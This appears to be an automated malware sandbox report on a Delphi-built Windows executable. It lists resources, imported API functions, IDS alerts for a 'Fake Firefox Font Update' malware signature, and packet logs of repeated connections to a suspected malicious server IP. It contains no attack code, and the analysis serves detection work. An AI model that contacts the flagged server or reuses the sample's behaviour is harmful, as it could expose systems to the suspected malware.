RT_BITMAP	0x845a4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x84774	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x84944	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x84b14	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x84ce4	0x81940	Device independent bitmap graphic, 971 x 182 x 24, image size 530712	English	United States	0.497995297238635
RT_BITMAP	0x106624	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.39864864864864863
RT_BITMAP	0x10674c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x106874	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x10699c	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x106a84	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3614864864864865
RT_BITMAP	0x106bac	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x106cd4	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.49038461538461536
RT_BITMAP	0x106da4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3716216216216216
RT_BITMAP	0x106ecc	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.2905405405405405
RT_BITMAP	0x106ff4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.38175675675675674
RT_BITMAP	0x10711c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x107244	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x10736c	0xe8	Device independent bitmap graphic, 12 x 16 x 4, image size 128	English	United States	0.3620689655172414
RT_BITMAP	0x107454	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x10757c	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x1076a4	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x107774	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.36824324324324326
RT_BITMAP	0x10789c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x1079c4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x107aec	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x107c14	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x107d3c	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x107e24	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.35135135135135137
RT_BITMAP	0x107f4c	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.36486486486486486
RT_BITMAP	0x108074	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x108144	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x10826c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x108394	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x10847c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 40314 x 40314 px/m			0.40560165975103735
RT_DIALOG	0x10aa24	0x52	data			0.7682926829268293
RT_DIALOG	0x10aa78	0x52	data			0.7560975609756098
RT_STRING	0x10aacc	0x35c	data			0.45348837209302323
RT_STRING	0x10ae28	0x2d8	data			0.4642857142857143
RT_STRING	0x10b100	0xc0	data			0.6770833333333334
RT_STRING	0x10b1c0	0xec	data			0.6483050847457628
RT_STRING	0x10b2ac	0x350	data			0.43514150943396224
RT_STRING	0x10b5fc	0x3cc	data			0.37962962962962965
RT_STRING	0x10b9c8	0x388	data			0.4092920353982301
RT_STRING	0x10bd50	0x418	data			0.36736641221374045
RT_STRING	0x10c168	0x140	data			0.515625
RT_STRING	0x10c2a8	0xcc	data			0.6127450980392157
RT_STRING	0x10c374	0x1ec	data			0.5345528455284553
RT_STRING	0x10c560	0x3b0	data			0.326271186440678
RT_STRING	0x10c910	0x354	data			0.4107981220657277
RT_STRING	0x10cc64	0x2a4	data			0.4363905325443787
RT_RCDATA	0x10cf08	0x10	data			1.5
RT_RCDATA	0x10cf18	0x338	data			0.6905339805825242
RT_RCDATA	0x10d250	0x1657c	GIF image data, version 89a, 360 x 360	English	United States	0.5910441889942742
RT_RCDATA	0x1237cc	0x369	Delphi compiled form 'TForm1'			0.6071019473081328
RT_GROUP_CURSOR	0x123b38	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x123b4c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x123b60	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b74	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b88	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b9c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123bb0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x123bc4	0x14	data			1.25

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, Polyline, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, lstrcatA, _lread, _lopen, _llseek, _lclose, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	CreateErrorInfo, GetErrorInfo, SetErrorInfo, SysFreeString
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
comdlg32.dll	GetOpenFileNameA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T08:24:10.558255+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49718	166.62.27.188	443	TCP
2025-01-14T08:24:12.405250+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49736	166.62.27.188	443	TCP
2025-01-14T08:24:14.338304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49748	166.62.27.188	443	TCP
2025-01-14T08:24:16.296521+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49761	166.62.27.188	443	TCP
2025-01-14T08:24:18.281135+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49777	166.62.27.188	443	TCP
2025-01-14T08:24:20.231335+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49794	166.62.27.188	443	TCP
2025-01-14T08:24:22.182065+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49806	166.62.27.188	443	TCP
2025-01-14T08:24:24.136166+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49824	166.62.27.188	443	TCP
2025-01-14T08:24:26.166228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49841	166.62.27.188	443	TCP
2025-01-14T08:24:28.131820+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49856	166.62.27.188	443	TCP
2025-01-14T08:24:30.078952+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49871	166.62.27.188	443	TCP
2025-01-14T08:24:32.007116+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49881	166.62.27.188	443	TCP
2025-01-14T08:24:34.045606+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49896	166.62.27.188	443	TCP
2025-01-14T08:24:35.982748+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49909	166.62.27.188	443	TCP
2025-01-14T08:24:37.942258+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49926	166.62.27.188	443	TCP
2025-01-14T08:24:39.916563+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49941	166.62.27.188	443	TCP
2025-01-14T08:24:41.844140+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49953	166.62.27.188	443	TCP
2025-01-14T08:24:43.798640+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49966	166.62.27.188	443	TCP
2025-01-14T08:24:46.605744+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49982	166.62.27.188	443	TCP
2025-01-14T08:24:48.526451+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49998	166.62.27.188	443	TCP
2025-01-14T08:24:50.493883+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50010	166.62.27.188	443	TCP
2025-01-14T08:24:52.428494+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50027	166.62.27.188	443	TCP
2025-01-14T08:24:54.368392+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50029	166.62.27.188	443	TCP
2025-01-14T08:24:56.342749+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50031	166.62.27.188	443	TCP
2025-01-14T08:24:58.286247+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50033	166.62.27.188	443	TCP
2025-01-14T08:25:00.225958+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50035	166.62.27.188	443	TCP
2025-01-14T08:25:02.169327+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50038	166.62.27.188	443	TCP
2025-01-14T08:25:04.209196+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50040	166.62.27.188	443	TCP
2025-01-14T08:25:06.190632+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50042	166.62.27.188	443	TCP
2025-01-14T08:25:08.118909+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50044	166.62.27.188	443	TCP
2025-01-14T08:25:10.033109+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50046	166.62.27.188	443	TCP
2025-01-14T08:25:11.978018+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50048	166.62.27.188	443	TCP
2025-01-14T08:25:13.976443+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50050	166.62.27.188	443	TCP
2025-01-14T08:25:15.909470+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50052	166.62.27.188	443	TCP
2025-01-14T08:25:17.885246+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50055	166.62.27.188	443	TCP
2025-01-14T08:25:19.825410+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50057	166.62.27.188	443	TCP
2025-01-14T08:25:21.755181+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50059	166.62.27.188	443	TCP
2025-01-14T08:25:23.714602+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50061	166.62.27.188	443	TCP
2025-01-14T08:25:25.647828+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50063	166.62.27.188	443	TCP
2025-01-14T08:25:27.568751+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50065	166.62.27.188	443	TCP
2025-01-14T08:25:29.504572+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50067	166.62.27.188	443	TCP
2025-01-14T08:25:31.480033+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50069	166.62.27.188	443	TCP
2025-01-14T08:25:33.452995+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50071	166.62.27.188	443	TCP
2025-01-14T08:25:35.378327+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50073	166.62.27.188	443	TCP
2025-01-14T08:25:37.276138+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50075	166.62.27.188	443	TCP
2025-01-14T08:25:39.232950+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50077	166.62.27.188	443	TCP
2025-01-14T08:25:41.165641+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50079	166.62.27.188	443	TCP
2025-01-14T08:25:43.065507+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50081	166.62.27.188	443	TCP
2025-01-14T08:25:44.969186+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50083	166.62.27.188	443	TCP
2025-01-14T08:25:46.871981+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50085	166.62.27.188	443	TCP
2025-01-14T08:25:48.773009+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50087	166.62.27.188	443	TCP
2025-01-14T08:25:50.688170+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50090	166.62.27.188	443	TCP
2025-01-14T08:25:52.611704+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50092	166.62.27.188	443	TCP
2025-01-14T08:25:54.516715+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50094	166.62.27.188	443	TCP
2025-01-14T08:25:56.420846+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50096	166.62.27.188	443	TCP
2025-01-14T08:25:58.402905+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50098	166.62.27.188	443	TCP
2025-01-14T08:26:00.326241+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50100	166.62.27.188	443	TCP
2025-01-14T08:26:02.259162+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50102	166.62.27.188	443	TCP
2025-01-14T08:26:04.207809+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50104	166.62.27.188	443	TCP
2025-01-14T08:26:06.144655+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50106	166.62.27.188	443	TCP
2025-01-14T08:26:08.062325+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50108	166.62.27.188	443	TCP
2025-01-14T08:26:09.994141+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50110	166.62.27.188	443	TCP
2025-01-14T08:26:11.902567+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50112	166.62.27.188	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:24:08.155232906 CET	49711	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:08.160079956 CET	80	49711	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:08.160217047 CET	49711	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:08.160402060 CET	49711	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:08.165277958 CET	80	49711	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:08.165354967 CET	49711	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:08.185177088 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:08.190244913 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:08.190376997 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:08.190970898 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:08.195827961 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:09.177887917 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:09.219887972 CET	49718	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:09.219935894 CET	443	49718	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:09.220063925 CET	49718	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:09.228143930 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:09.248644114 CET	49718	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:09.248676062 CET	443	49718	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:10.558161974 CET	443	49718	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:10.558254957 CET	49718	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:10.559910059 CET	49718	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:10.559937954 CET	443	49718	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:10.560200930 CET	443	49718	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:10.616175890 CET	49718	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:10.657862902 CET	49718	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:10.703330994 CET	443	49718	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:10.986108065 CET	443	49718	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:10.986406088 CET	443	49718	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:10.986579895 CET	49718	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:11.004404068 CET	49718	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:11.004404068 CET	49718	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:11.004446030 CET	443	49718	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:11.004458904 CET	443	49718	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:11.160078049 CET	49730	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:11.164953947 CET	80	49730	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:11.165086985 CET	49730	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:11.165324926 CET	49730	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:11.170150042 CET	80	49730	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:11.170636892 CET	49730	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:11.171236992 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:11.176034927 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:11.481756926 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:11.507746935 CET	49736	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:11.507796049 CET	443	49736	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:11.507862091 CET	49736	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:11.509228945 CET	49736	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:11.509249926 CET	443	49736	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:11.526166916 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:12.405183077 CET	443	49736	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:12.405250072 CET	49736	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:12.406682014 CET	49736	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:12.406693935 CET	443	49736	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:12.406985044 CET	443	49736	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:12.408144951 CET	49736	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:12.455333948 CET	443	49736	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:12.992620945 CET	443	49736	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:12.993036985 CET	443	49736	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:12.993107080 CET	49736	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:12.993168116 CET	49736	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:12.993189096 CET	443	49736	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:12.993200064 CET	49736	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:12.993205070 CET	443	49736	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:13.127578020 CET	49747	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:13.132503033 CET	80	49747	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:13.132577896 CET	49747	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:13.133568048 CET	49747	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:13.135656118 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:13.138382912 CET	80	49747	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:13.138437033 CET	49747	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:13.140453100 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:13.446264982 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:13.447669029 CET	49748	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:13.447730064 CET	443	49748	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:13.447812080 CET	49748	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:13.448112965 CET	49748	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:13.448132992 CET	443	49748	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:13.487248898 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:14.337459087 CET	443	49748	166.62.27.188	192.168.2.6
